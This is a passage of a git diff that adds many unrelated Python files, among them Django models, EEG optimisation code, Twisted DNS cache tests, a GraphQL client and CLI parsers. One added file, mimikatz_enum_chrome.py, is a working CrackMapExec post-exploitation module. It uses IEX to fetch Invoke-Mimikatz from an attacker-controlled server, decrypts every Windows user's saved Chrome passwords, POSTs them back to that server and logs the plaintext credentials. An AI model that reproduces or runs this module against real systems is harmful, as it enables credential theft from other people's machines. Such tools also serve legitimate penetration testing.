models.CharField(max_length=255, blank=True) + slug = models.CharField(max_length=255, blank=True) + data_hash = models.CharField(max_length=64) + data = JSONField() + # Fields we may need to query by + classification = models.CharField( + max_length=255, + blank=True, + default="", + help_text="Some pages may have custom fields on them, distinct from their content type - eg: pagePageResourceCenter has a 'Product' field", + ) + category = models.CharField( + max_length=255, + blank=True, + default="", + help_text="Some pages may have a category", + ) + tags = JSONField( + blank=True, + help_text="Some pages may have tags", + ) + + objects = ContentfulEntryManager() + + def __str__(self) -> str: + return f"ContentfulEntry {self.content_type}:{self.contentful_id}" + + def get_related_entries(self, order_by="last_modified"): + """Find ContentfulEntry records that: + * are for the same content_type + * are for the same classification + * share at least one tag with `self` + + Returns: + QuerySet[ContentfulEntry] + """ + + if not self.tags: + return ContentfulEntry.objects.none() + + _base_qs = ContentfulEntry.objects.filter( + locale=self.locale, + content_type=self.content_type, + classification=self.classification, # eg same Product/project/area of the site + ).exclude( + id=self.id, + ) + + # Tags are stored in a JSONField, but we can query it as text by quoting them + q_obj = Q() + for _tag in self.tags: + q_obj.add( + Q(tags__contains=f'"{_tag}"'), + Q.OR, + ) + return _base_qs.filter(q_obj).order_by(order_by).distinct() diff --git a/pool/shard009/Python/0084170_Training.py b/pool/shard009/Python/0084170_Training.py new file mode 100644 index 0000000000000000000000000000000000000000..852bc58cdb2ddc63e4b1851b9b9bc03734ab902a --- /dev/null +++ b/pool/shard009/Python/0084170_Training.py @@ -0,0 +1,110 @@ +import Results +import TargetIdentification +import Standby +import constants as c + +from ParameterHandler import NewTrainingParameterHandler + +import scipy.optimize +import numpy as np + + +class DummyMasterConnection(object): + def __init__(self): + self.results = [] + + def sendClearBuffersMessage(self): + pass + + def sendTargetMessage(self, message): + if not isinstance(message, bool): + self.results.append(message) + + def sendRobotMessage(self, command): + pass + + +results = Results.Results() +standby = Standby.Standby() +standby.disable() +master_connection = DummyMasterConnection() +target_identification = TargetIdentification.TargetIdentification(master_connection, results, standby) + +file_content = open("../save/test5_results_3.txt").readlines() +# frequencies = dict(enumerate(sorted(map(lambda x: x[0], eval(file_content[0])[1][('Sum PSDA', ('P7', 'O1', 'O2', 'P8'))][1])))) +features_list = [] +for result in file_content: + features_list.append(eval(result)) + +file_content = open("C:\\Users\\Anti\\Desktop\\PycharmProjects\\MAProject\\src\\eeg\\test5.txt").read().split(";") +frequencies = eval(file_content[0])[0][c.EEG_RECORDING_FREQS] +expected = eval(file_content[2])[0] + +parameter_handler = NewTrainingParameterHandler() + +print frequencies +print expected +print len(features_list) + +counter = 0 +length = 256 +step = 32 +packet_nr = 3 +target = expected[0][0] +expected_index = 1 + + +def costFunction(numbers, options_handler, frequencies): + global counter, expected_index, target + new_options = options_handler.numbersToOptions(numbers) + # all_options[c.DATA_EXTRACTION_WEIGHTS] = new_options[c.DATA_EXTRACTION_WEIGHTS] + # all_options[c.DATA_EXTRACTION_DIFFERENCES] = new_options[c.DATA_EXTRACTION_DIFFERENCES] + # new_options[c.DATA_ACTUAL_RESULTS][c.DATA_ALWAYS_DELETE]= all_options[c.DATA_ACTUAL_RESULTS][c.DATA_ALWAYS_DELETE] + # new_options[c.DATA_PREV_RESULTS][c.DATA_ALWAYS_DELETE] = all_options[c.DATA_PREV_RESULTS][c.DATA_ALWAYS_DELETE] + # all_options[c.DATA_ACTUAL_RESULTS] = new_options[c.DATA_ACTUAL_RESULTS] + # all_options[c.DATA_PREV_RESULTS] = new_options[c.DATA_PREV_RESULTS] + print new_options + target_identification.results.start(frequencies.values()) + target_identification.resetTargetVariables() + target_identification.setup(new_options) + target_identification.resetResults(frequencies.values()) + for i, result in enumerate(features_list): + if i == 0: + packet_nr = length + else: + packet_nr = length + step * i + + if expected_index < len(expected) and packet_nr >= expected[expected_index][1]: + target = expected[expected_index][0] + expected_index += 1 + + target_identification.handleFreqMessages(result, frequencies, target) + # print i, packet_nr, target + target_identification.results.trialEnded(packet_nr) + + wrong_result_count = target_identification.results.list[-1]["Wrong"] + correct_result_count = target_identification.results.list[-1]["Correct"] + result = target_identification.results.list[-1]["Wrong"] - target_identification.results.list[-1]["Correct"] + result = len(features_list) if wrong_result_count == 0 and correct_result_count == 0 else result + # if counter % 100 == 0 or True: + # print "Result", correct_result_count, wrong_result_count + counter += 1 + print "Result", correct_result_count, wrong_result_count + # return result + # total = target_identification.results.list[-1]["Wrong"] + target_identification.results.list[-1]["Correct"] + # return -total+result + return -correct_result_count + + +result = scipy.optimize.differential_evolution( + costFunction, + parameter_handler.getBounds(), + args=(parameter_handler, frequencies), + popsize=20, + seed=99, + disp=True +) +print counter +print result + + diff --git a/pool/shard009/Python/0084174_debug.py b/pool/shard009/Python/0084174_debug.py new file mode 100644 index 0000000000000000000000000000000000000000..e60c195db9708ced7b928c9201530c0e4dc576c3 --- /dev/null +++ b/pool/shard009/Python/0084174_debug.py @@ -0,0 +1,66 @@ +# +# Copyright Muis IT 2011 - 2016 +# +# This file is part of AWS Freezer +# +# AWS Freezer is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# AWS Freezer is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with AWS Freezer (see the COPYING file). +# If not, see . + +import time, sys, getopt, inspect, traceback, threading + +import sys, codecs, locale +sys.path.append("..") +import globals +import logging + +class LogHandler(logging.Handler): + def handle(self,record): + globals.Reporter.message("LOG: " + str(record.pathname) + ":" + str(record.lineno) + ":" + str(record.msg),record.name) + +class Reporter(object): + verbose=False + trace={} + + def _init__(self): + sys.stdout = codecs.getwriter(sys.stdout.encoding)(sys.stdout) + + def mark(self,msg): + # generic, non-error, i-am-still-alive-message + tt = time.localtime() + sys.stdout.write("%04d-%02d-%02d %02d:%02d:%02d %s\r\n"%(tt[0],tt[1],tt[2],tt[3],tt[4],tt[5],msg.encode('utf-8','ignore'))) + + def message(self,msg,trace=None): + try: + # messages that should only be shown when verbose output is on + if self.verbose and (trace==None or len(self.trace)==0 or self.trace.has_key(trace)): + tt = time.localtime() + if trace==None: + sys.stdout.write("%02d%02d%02d [%s]: %s\r\n"%(tt[3],tt[4],tt[5],threading.currentThread().name,msg.encode('utf-8','ignore'))) + else: + sys.stdout.write("%02d%02d%02d [%s](%s): %s\r\n"%(tt[3],tt[4],tt[5],threading.currentThread().name,trace,msg.encode('utf-8','ignore'))) + sys.stdout.flush() + except: + self.error("Unable to print message",True) + + def error(self,msg, doexcept=True): + try: + # error messages, possibly with exception trace + tt = time.localtime() + sys.stderr.write("%02d%02d%02d [%s] ERROR: %s at %s:%d\r\n"%(tt[3],tt[4],tt[5],threading.currentThread().name, msg,inspect.stack()[1][1],inspect.stack()[1][2])) + except: + doexcept=True + if doexcept: + traceback.print_exc() + +globals.Reporter=Reporter() diff --git a/pool/shard009/Python/0084189_ws4py_drayer.py b/pool/shard009/Python/0084189_ws4py_drayer.py new file mode 100644 index 0000000000000000000000000000000000000000..229de9e902894bf89f49a5c2f824567b34a70f11 --- /dev/null +++ b/pool/shard009/Python/0084189_ws4py_drayer.py @@ -0,0 +1,51 @@ + +#This file is only used for embedding as a libraru +from ws4py.websocket import WebSocket +import threading +import time +from hardline import drayerdb +import cherrypy + +class WebInterface(): + @cherrypy.expose + def ws(self): + pass + + @cherrypy.expose + def index(self): + pass + +class DrayerAPIWebSocket(WebSocket): + def __init__(self, *args, **kwargs): + self.widget_wslock = threading.Lock() + + # We don't know what DB they are connected to + self.db = None + self.session = drayerdb.Session(isClientSide=True) + WebSocket.__init__(self, *args, **kwargs) + + def send(self, *a, **k): + with self.widget_wslock: + WebSocket.send(self, *a, **k, binary=isinstance(a[0], bytes)) + + def closed(self, code, reason): + pass + + def received_message(self, message): + message = message.data + if not self.db: + if message[1:17] in drayerdb.databaseBySyncKeyHash: + db = drayerdb.databaseBySyncKeyHash[message[1:17]] + + def f(x): + self.send(x) + + self.session.send = f + db.subscribers[time.time( + )] = self.session + self.db = db + + + x = self.db.handleBinaryAPICall(message, self.session) + if x: + self.send(x) diff --git a/pool/shard009/Python/0084191_graphql_client.py b/pool/shard009/Python/0084191_graphql_client.py new file mode 100644 index 0000000000000000000000000000000000000000..6710a3037c4337caecb9a0a35515c336f15a1e51 --- /dev/null +++ b/pool/shard009/Python/0084191_graphql_client.py @@ -0,0 +1,80 @@ +from typing import Any, Dict, NamedTuple, cast + +from graphql import graphql as graphql_main +from graphql import GraphQLSchema +from graphql.execution import ExecutionResult + +from .pent import PentContext, PentContextfulObject + + +class GraphQLArg(NamedTuple): + name: str + arg_type: str + value: Any + + +class InProcessGraphQLClient: + def __init__(self, root_value: PentContextfulObject, graphql_schema: GraphQLSchema) -> None: + self.root_value = root_value + self.graphql_schema = graphql_schema + + @property + def context(self) -> PentContext: + return self.root_value.context + + async def gen_mutation(self, graphql_text: str, *args: GraphQLArg) -> dict: + return await self.gen_operation(graphql_text, 'mutation', *args) + + async def gen_query(self, graphql_text: str, *args: GraphQLArg) -> dict: + return await self.gen_operation(graphql_text, 'query', *args) + + async def gen_operation(self, graphql_text: str, operation: str, *args: GraphQLArg) -> dict: + arg_strings = [] + for name, arg_type, _value in args: + arg_strings.append("${name}: {arg_type}".format(name=name, arg_type=arg_type)) + + arg_list = ', '.join(arg_strings) + + full_query = ( + '{operation} ({arg_list}) '.format(arg_list=arg_list, operation=operation) + '{' + + graphql_text + '}' + ) + arg_dict = {arg.name: arg.value for arg in args} + result = await ( + exec_in_mem_graphql( + self.graphql_schema, self.context, full_query, self.root_value, arg_dict + ) + ) + if result.errors: + _process_error(result) + + return cast(dict, result.data) + + +def _process_error(result: ExecutionResult) -> None: + # this is pretty horrific. need a better generalized story to getting reasonable + # stack traces + print(repr(result.errors[0])) + if hasattr(result.errors[0], 'original_error'): + print(repr(result.errors[0].original_error)) + original_error = result.errors[0].original_error + import traceback + trace = original_error.__traceback__ + trace_string = ''.join(traceback.format_tb(trace)) + print('ORIGINAL: ' + trace_string) + + +async def exec_in_mem_graphql( + graphql_schema: GraphQLSchema, + pent_context: PentContext, + query: str, + root_value: Any, + variables: Dict[str, Any]=None +) -> ExecutionResult: + return await graphql_main( + graphql_schema, + query, + context_value=pent_context, + variable_values=variables, + root_value=root_value + ) diff --git a/pool/shard009/Python/0084192_test_cache.py b/pool/shard009/Python/0084192_test_cache.py new file mode 100644 index 0000000000000000000000000000000000000000..7afafedf87503451ded1ea8cd636e2d01bc7dbc8 --- /dev/null +++ b/pool/shard009/Python/0084192_test_cache.py @@ -0,0 +1,129 @@ +# Copyright (c) Twisted Matrix Laboratories. +# See LICENSE for details. + +import time + +from twisted.trial import unittest + +from twisted.names import dns, cache +from twisted.internet import task + +class Caching(unittest.TestCase): + """ + Tests for L{cache.CacheResolver}. + """ + + def test_lookup(self): + c = cache.CacheResolver({ + dns.Query(name='example.com', type=dns.MX, cls=dns.IN): + (time.time(), ([], [], []))}) + return c.lookupMailExchange('example.com').addCallback( + self.assertEqual, ([], [], [])) + + + def test_constructorExpires(self): + """ + Cache entries passed into L{cache.CacheResolver.__init__} get + cancelled just like entries added with cacheResult + """ + + r = ([dns.RRHeader("example.com", dns.A, dns.IN, 60, + dns.Record_A("127.0.0.1", 60))], + [dns.RRHeader("example.com", dns.A, dns.IN, 50, + dns.Record_A("127.0.0.1", 50))], + [dns.RRHeader("example.com", dns.A, dns.IN, 40, + dns.Record_A("127.0.0.1", 40))]) + + clock = task.Clock() + query = dns.Query(name="example.com", type=dns.A, cls=dns.IN) + + c = cache.CacheResolver({ query : (clock.seconds(), r)}, reactor=clock) + + # 40 seconds is enough to expire the entry because expiration is based + # on the minimum TTL. + clock.advance(40) + + self.assertNotIn(query, c.cache) + + return self.assertFailure( + c.lookupAddress("example.com"), dns.DomainError) + + + def test_normalLookup(self): + """ + When a cache lookup finds a cached entry from 1 second ago, it is + returned with a TTL of original TTL minus the elapsed 1 second. + """ + r = ([dns.RRHeader("example.com", dns.A, dns.IN, 60, + dns.Record_A("127.0.0.1", 60))], + [dns.RRHeader("example.com", dns.A, dns.IN, 50, + dns.Record_A("127.0.0.1", 50))], + [dns.RRHeader("example.com", dns.A, dns.IN, 40, + dns.Record_A("127.0.0.1", 40))]) + + clock = task.Clock() + + c = cache.CacheResolver(reactor=clock) + c.cacheResult(dns.Query(name="example.com", type=dns.A, cls=dns.IN), r) + + clock.advance(1) + + def cbLookup(result): + self.assertEquals(result[0][0].ttl, 59) + self.assertEquals(result[1][0].ttl, 49) + self.assertEquals(result[2][0].ttl, 39) + self.assertEquals(result[0][0].name.name, "example.com") + + return c.lookupAddress("example.com").addCallback(cbLookup) + + + def test_cachedResultExpires(self): + """ + Once the TTL has been exceeded, the result is removed from the cache. + """ + r = ([dns.RRHeader("example.com", dns.A, dns.IN, 60, + dns.Record_A("127.0.0.1", 60))], + [dns.RRHeader("example.com", dns.A, dns.IN, 50, + dns.Record_A("127.0.0.1", 50))], + [dns.RRHeader("example.com", dns.A, dns.IN, 40, + dns.Record_A("127.0.0.1", 40))]) + + clock = task.Clock() + + c = cache.CacheResolver(reactor=clock) + query = dns.Query(name="example.com", type=dns.A, cls=dns.IN) + c.cacheResult(query, r) + + clock.advance(40) + + self.assertNotIn(query, c.cache) + + return self.assertFailure( + c.lookupAddress("example.com"), dns.DomainError) + + + def test_expiredTTLLookup(self): + """ + When the cache is queried exactly as the cached entry should expire but + before it has actually been cleared, the cache does not return the + expired entry. + """ + r = ([dns.RRHeader("example.com", dns.A, dns.IN, 60, + dns.Record_A("127.0.0.1", 60))], + [dns.RRHeader("example.com", dns.A, dns.IN, 50, + dns.Record_A("127.0.0.1", 50))], + [dns.RRHeader("example.com", dns.A, dns.IN, 40, + dns.Record_A("127.0.0.1", 40))]) + + clock = task.Clock() + # Make sure timeouts never happen, so entries won't get cleared: + clock.callLater = lambda *args, **kwargs: None + + c = cache.CacheResolver({ + dns.Query(name="example.com", type=dns.A, cls=dns.IN) : + (clock.seconds(), r)}, reactor=clock) + + clock.advance(60.1) + + return self.assertFailure( + c.lookupAddress("example.com"), dns.DomainError) diff --git a/pool/shard009/Python/0084195_rpc_request_message.py b/pool/shard009/Python/0084195_rpc_request_message.py new file mode 100644 index 0000000000000000000000000000000000000000..c009b5494e6a3e88f89fe9441386511e2159345c --- /dev/null +++ b/pool/shard009/Python/0084195_rpc_request_message.py @@ -0,0 +1,39 @@ +import json +import rpc_exception as exp + + +class RpcRequestMessage(object): + @classmethod + def loads(cls, raw_data): + try: + data = json.loads(raw_data) + return cls(data.get("version"), data.get("args")) + + except ValueError as ex: + raise exp.RequestException( + "Unable to deserialize request: {}".format(ex.message) + ) + + @property + def version(self): + return self._version + + @property + def args(self): + return self._args + + def dumps(self): + return json.dumps({ + "version": self._version, + "args": self._args + }) + + def __init__(self, version, args): + self._version = version + self._args = args + + def __repr__(self): + return " + +BASE_URL = 'http://flupy.org/data/flags' + +DEST_DIR = 'downloads/' + + +def save_flag(img, filename): + path = os.path.join(DEST_DIR, filename) + with open(path, 'wb') as fp: + fp.write(img) + + +def get_flag(cc): + url = '{}/{cc}/{cc}.gif'.format(BASE_URL, cc=cc.lower()) + resp = requests.get(url) + return resp.content + + +def show(text): + print(text, end=' ') + sys.stdout.flush() + + +def download_many(cc_list): + for cc in sorted(cc_list): + image = get_flag(cc) + show(cc) + save_flag(image, cc.lower() + '.gif') + + return len(cc_list) + + +def main(download_many): + t0 = time.time() + count = download_many(POP20_CC) + elapsed = time.time() - t0 + msg = '\n{} flags downloaded in {:.2f}s' + print(msg.format(count, elapsed)) + + +if __name__ == '__main__': + main(download_many) diff --git a/pool/shard009/Python/0084211_mimikatz_enum_chrome.py b/pool/shard009/Python/0084211_mimikatz_enum_chrome.py new file mode 100644 index 0000000000000000000000000000000000000000..5f002c7c00c641c9ba55e01c2c2c704fcbb317e3 --- /dev/null +++ b/pool/shard009/Python/0084211_mimikatz_enum_chrome.py @@ -0,0 +1,123 @@ +from cme.helpers.powershell import * +from cme.helpers.logger import write_log +from datetime import datetime +from StringIO import StringIO + +class CMEModule: + ''' + Executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) to decrypt saved Chrome passwords + Pros and cons vs the standard enum_chrome module: + + Opsec safe, doesn't touch disk + - Tends to error out and/or not decrypt all stored credentials (not sure why exactly, should work perfectly in theory) + + Module by @byt3bl33d3r + ''' + + name = 'mimikatz_enum_chrome' + description = "Decrypts saved Chrome passwords using Mimikatz" + opsec_safe = True + multiple_hosts = True + supported_protocols = ['smb', 'mssql'] + + def options(self, context, module_options): + ''' + ''' + + self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1') + + def on_admin_login(self, context, connection): + + ''' + Oook.. Think my heads going to explode + + So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces. + Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary. + + As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt + the entries with Mimikatz, not ideal but it works. + ''' + + payload = ''' + $cmd = "privilege::debug sekurlsa::dpapi" + $userdirs = get-childitem "$Env:SystemDrive\Users" + foreach ($dir in $userdirs) {{ + $LoginDataPath = "$Env:SystemDrive\Users\$dir\AppData\Local\Google\Chrome\User Data\Default\Login Data" + + if ([System.IO.File]::Exists($LoginDataPath)) {{ + $rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {{[char]$_}}) + $temp_path = "$Env:windir\Temp\$rand_name" + Copy-Item $LoginDataPath $temp_path + $cmd = $cmd + " `"dpapi::chrome /in:$temp_path`"" + }} + + }} + $cmd = $cmd + " exit" + + IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1'); + $creds = Invoke-Mimikatz -Command $cmd; + $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); + $request.Method = 'POST'; + $request.ContentType = 'application/x-www-form-urlencoded'; + $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); + $request.ContentLength = $bytes.Length; + $requestStream = $request.GetRequestStream(); + $requestStream.Write( $bytes, 0, $bytes.Length ); + $requestStream.Close(); + $request.GetResponse();'''.format(server=context.server, + port=context.server_port, + addr=context.localip) + + payload = create_ps_command(payload) + connection.execute(payload) + context.log.success('Executed payload') + + def on_request(self, context, request): + if 'Invoke-Mimikatz.ps1' == request.path[1:]: + request.send_response(200) + request.end_headers() + + request.wfile.write(self.ps_script) + + else: + request.send_response(404) + request.end_headers() + + def on_response(self, context, response): + response.send_response(200) + response.end_headers() + length = int(response.headers.getheader('content-length')) + data = response.rfile.read(length) + + #We've received the response, stop tracking this host + response.stop_tracking_host() + + if len(data): + buf = StringIO(data).readlines() + creds = [] + + try: + i = 0 + while i < len(buf): + if ('URL' in buf[i]): + url = buf[i].split(':', 1)[1].strip() + user = buf[i+1].split(':', 1)[1].strip() + passw = buf[i+3].split(':', 1)[1].strip() + + creds.append({'url': url, 'user': user, 'passw': passw}) + + i += 1 + except: + context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials') + + if creds: + context.log.success('Found saved Chrome credentials:') + for cred in creds: + if cred['user'] and cred['passw']: + context.log.highlight('URL: ' + cred['url']) + context.log.highlight('Username: ' + cred['user']) + context.log.highlight('Password: ' + cred['passw']) + context.log.highlight('') + + log_name = 'EnumChrome-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) + write_log(data, log_name) + context.log.info("Saved Mimikatz's output to {}".format(log_name)) \ No newline at end of file diff --git a/pool/shard009/Python/0084213_scnet_semantic_head.py b/pool/shard009/Python/0084213_scnet_semantic_head.py new file mode 100644 index 0000000000000000000000000000000000000000..2b8c5c32bbb7604426d774674eb9fecb51e1d789 --- /dev/null +++ b/pool/shard009/Python/0084213_scnet_semantic_head.py @@ -0,0 +1,28 @@ +# Copyright (c) OpenMMLab. All rights reserved. +from mmdet.models.builder import HEADS +from mmdet.models.utils import ResLayer, SimplifiedBasicBlock +from .fused_semantic_head import FusedSemanticHead + + +@HEADS.register_module() +class SCNetSemanticHead(FusedSemanticHead): + """Mask head for `SCNet `_. + + Args: + conv_to_res (bool, optional): if True, change the conv layers to + ``SimplifiedBasicBlock``. + """ + + def __init__(self, conv_to_res=True, **kwargs): + super(SCNetSemanticHead, self).__init__(**kwargs) + self.conv_to_res = conv_to_res + if self.conv_to_res: + num_res_blocks = self.num_convs // 2 + self.convs = ResLayer( + SimplifiedBasicBlock, + self.in_channels, + self.conv_out_channels, + num_res_blocks, + conv_cfg=self.conv_cfg, + norm_cfg=self.norm_cfg) + self.num_convs = num_res_blocks diff --git a/pool/shard009/Python/0084226_runtests.py b/pool/shard009/Python/0084226_runtests.py new file mode 100644 index 0000000000000000000000000000000000000000..9cdc1a00ecf9ece217b86dfb80507ce10a3981d1 --- /dev/null +++ b/pool/shard009/Python/0084226_runtests.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python +import os +import sys + +from django.conf import settings + +DIRNAME = os.path.dirname(__file__) + +settings.configure( + DEBUG=True, + DATABASES={ + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + } + }, + ROOT_URLCONF='omblog.tests.urls', + INSTALLED_APPS=( + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.admin', + 'omblog', + 'django_nose', + ), + NOSE_ARGS = [ + '--with-coverage', + '--cover-package=omblog', + '--cover-xml', + '--verbosity=2', + ], +) + +from django_nose import NoseTestSuiteRunner + +test_runner = NoseTestSuiteRunner(verbosity=1) + +failures = test_runner.run_tests(['omblog']) + +if failures: + sys.exit(failures) diff --git a/pool/shard009/Python/0084227_date_demo2.py b/pool/shard009/Python/0084227_date_demo2.py new file mode 100644 index 0000000000000000000000000000000000000000..28363a114828b361c25ca161b60e92871363cbb8 --- /dev/null +++ b/pool/shard009/Python/0084227_date_demo2.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python +""" +Show how to make date plots in matplotlib using date tick locators and +formatters. See major_minor_demo1.py for more information on +controlling major and minor ticks +""" +import datetime +from pylab import figure, show +from matplotlib.dates import MONDAY, SATURDAY +from matplotlib.finance import quotes_historical_yahoo +from matplotlib.dates import MonthLocator, WeekdayLocator, DateFormatter + + +date1 = datetime.date( 2002, 1, 5 ) +date2 = datetime.date( 2003, 12, 1 ) + +# every monday +mondays = WeekdayLocator(MONDAY) + +# every 3rd month +months = MonthLocator(range(1,13), bymonthday=1, interval=3) +monthsFmt = DateFormatter("%b '%y") + + +quotes = quotes_historical_yahoo('INTC', date1, date2) +if len(quotes) == 0: + print 'Found no quotes' + raise SystemExit + +dates = [q[0] for q in quotes] +opens = [q[1] for q in quotes] + +fig = figure() +ax = fig.add_subplot(111) +ax.plot_date(dates, opens, '-') +ax.xaxis.set_major_locator(months) +ax.xaxis.set_major_formatter(monthsFmt) +ax.xaxis.set_minor_locator(mondays) +ax.autoscale_view() +#ax.xaxis.grid(False, 'major') +#ax.xaxis.grid(True, 'minor') +ax.grid(True) + +fig.autofmt_xdate() + +show() diff --git a/pool/shard009/Python/0084233_dagda_cli_parser.py b/pool/shard009/Python/0084233_dagda_cli_parser.py new file mode 100644 index 0000000000000000000000000000000000000000..f6a6c66b426f5eb972991376b719fba1239d4e6b --- /dev/null +++ b/pool/shard009/Python/0084233_dagda_cli_parser.py @@ -0,0 +1,117 @@ +# +# Licensed to Dagda under one or more contributor +# license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright +# ownership. Dagda licenses this file to you under +# the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# + +import argparse +import sys +from cli.command.check_cli_parser import CheckCLIParser +from cli.command.docker_cli_parser import DockerCLIParser +from cli.command.history_cli_parser import HistoryCLIParser +from cli.command.vuln_cli_parser import VulnCLIParser +from cli.command.start_cli_parser import StartCLIParser +from cli.command.monitor_cli_parser import MonitorCLIParser +from cli.command.agent_cli_parser import AgentCLIParser + + +class DagdaCLIParser: + + # -- Public methods + + # DagdaCLIParser Constructor + def __init__(self): + super(DagdaCLIParser, self).__init__() + self.parser = DagdaGlobalParser(prog='dagda.py', usage=dagda_global_parser_text, add_help=False) + self.parser.add_argument('command', choices=['vuln', 'check', 'history', 'start', 'monitor', 'docker', 'agent']) + self.parser.add_argument('-h', '--help', action=_HelpAction) + self.parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.9.0') + self.args, self.unknown = self.parser.parse_known_args() + if self.get_command() == 'vuln': + self.extra_args = VulnCLIParser() + elif self.get_command() == 'check': + self.extra_args = CheckCLIParser() + elif self.get_command() == 'history': + self.extra_args = HistoryCLIParser() + elif self.get_command() == 'start': + self.extra_args = StartCLIParser() + elif self.get_command() == 'monitor': + self.extra_args = MonitorCLIParser() + elif self.get_command() == 'docker': + self.extra_args = DockerCLIParser() + elif self.get_command() == 'agent': + self.extra_args = AgentCLIParser() + + # -- Getters + + # Gets command + def get_command(self): + return self.args.command + + # Gets extra args + def get_extra_args(self): + return self.extra_args + + +# Overrides Help Action class + +class _HelpAction(argparse._HelpAction): + + def __call__(self, parser, namespace, values, option_string=None): + if sys.argv[1] != 'vuln' and sys.argv[1] != 'check' and sys.argv[1] != 'history' and sys.argv[1] != 'start' \ + and sys.argv[1] != 'monitor' and sys.argv[1] != 'docker' and sys.argv[1] != 'agent': + parser.print_help() + parser.exit() + + +# Custom Parser + +class DagdaGlobalParser(argparse.ArgumentParser): + + # Overrides the error method + def error(self, message): + self.print_usage() + exit(2) + + # Overrides the format help method + def format_help(self): + return dagda_global_parser_text + + +# -- Custom message + +dagda_global_parser_text = '''usage: dagda.py [--version] [--help] [args] + +Dagda Commands: + agent run a remote agent for performing the analysis of known + vulnerabilities, trojans, viruses, malware & other + malicious threats in docker images/containers + check perform the analysis of known vulnerabilities, trojans, + viruses, malware & other malicious threats in docker + images/containers + docker list all docker images/containers and all docker daemon + events + history retrieve the analysis history for the docker images + monitor perform the monitoring of anomalous activities in + running docker containers + start start the Dagda server + vuln perform operations over your personal CVE, BID, RHBA, + RHSA & ExploitDB database + +Optional Arguments: + -h, --help show this help message and exit + -v, --version show the version message and exit +''' diff --git a/pool/shard009/Python/0084242_prepare_release.py b/pool/shard009/Python/0084242_prepare_release.py new file mode 100644 index 0000000000000000000000000000000000000000..8050b2a7f9bbae0ac6a779b5bacaa9dda9ea8e01 --- /dev/null +++ b/pool/shard009/Python/0084242_prepare_release.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# Copyright (c) 2017 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""prepare_release.py + +Usage: + .release/prepare_release.py + .release/prepare_release.py -h + .release/prepare_release.py --help + +Information: + This script based on CMK_RELEASE_VER variable prepares cmk release + CMK_RELEASE_VER variable should follow pattern vX.Y.Z[-rcV] where + X,Y,Z number between 0 and 9 (required) + -rc release candidate indicator (optional) + V number between 0 and 99 (required only when \"-rc\" is present) + Examples: v.0.1.9, v4.1.7-rc1, v.7.0.9-rc44 + + Before using this script, read RELEASE.md + Make sure that your working branch is: + - "master" branch + - up to date with origin/master + - clean + Make sure that there is no local branch named "cmk-release-CMK_RELEASE_VER" + Make sure that there is no remote branch named "cmk-release-CMK_RELEASE_VER" + Make sure that there is no tag CMK_RELEASE_VER present (locally or remotely) + Make sure that there is no release with tag CMK_RELEASE_VER present + + ======= IMPORTANT NOTE ======= + After RP with release is reviewed, use "Rebase and merge" in Github PR webpage. + Jenkins CI/CD is triggered to make release based on specific commit message + that is setup by this script. + + +Options: + -h --help Show this screen. +""" +import logging +import os +import sys + +from docopt import docopt +from distutils.util import strtobool + +import githelpers + + +def validate_branch_not_existing(branch_name): + local_branches = githelpers.execute_git_cmd("for-each-ref refs/heads/ --format='%(refname:short)'") + remote_branches = githelpers.execute_git_cmd("for-each-ref refs/remotes/origin --format='%(refname:strip=3)'") + + if branch_name in local_branches: + logging.error("Aborting: Local branch \"{}\" already exists".format(branch_name)) + exit(1) + if branch_name in remote_branches: + logging.error("Aborting: Remote branch \"{}\" already exists".format(branch_name)) + exit(1) + + +def validate_run_path(): + if os.path.dirname(sys.argv[0]) != ".release": + logging.error("This script can only be run from main repo directory") + exit(1) + + +def main(): + docopt(__doc__) + logging.basicConfig(level=logging.DEBUG) + + validate_run_path() + githelpers.validate_master_branch() + + logging.info("Update local repo") + githelpers.execute_git_cmd("fetch --quiet") + githelpers.execute_git_cmd("remote update --prune") + + try: + release_tag = os.environ["CMK_RELEASE_VER"] + except KeyError: + logging.error("Missing environment variable CMK_RELEASE_VER") + exit(1) + + if not githelpers.is_tag_valid(release_tag): + logging.error("Aborting: Tag \"CMK_RELEASE_VER={}\" is not valid tag".format(release_tag)) + exit(1) + if githelpers.is_tag_present(release_tag): + logging.error("Aborting: Tag \"{}\" is already present".format(release_tag)) + exit(1) + + logging.info("Tag 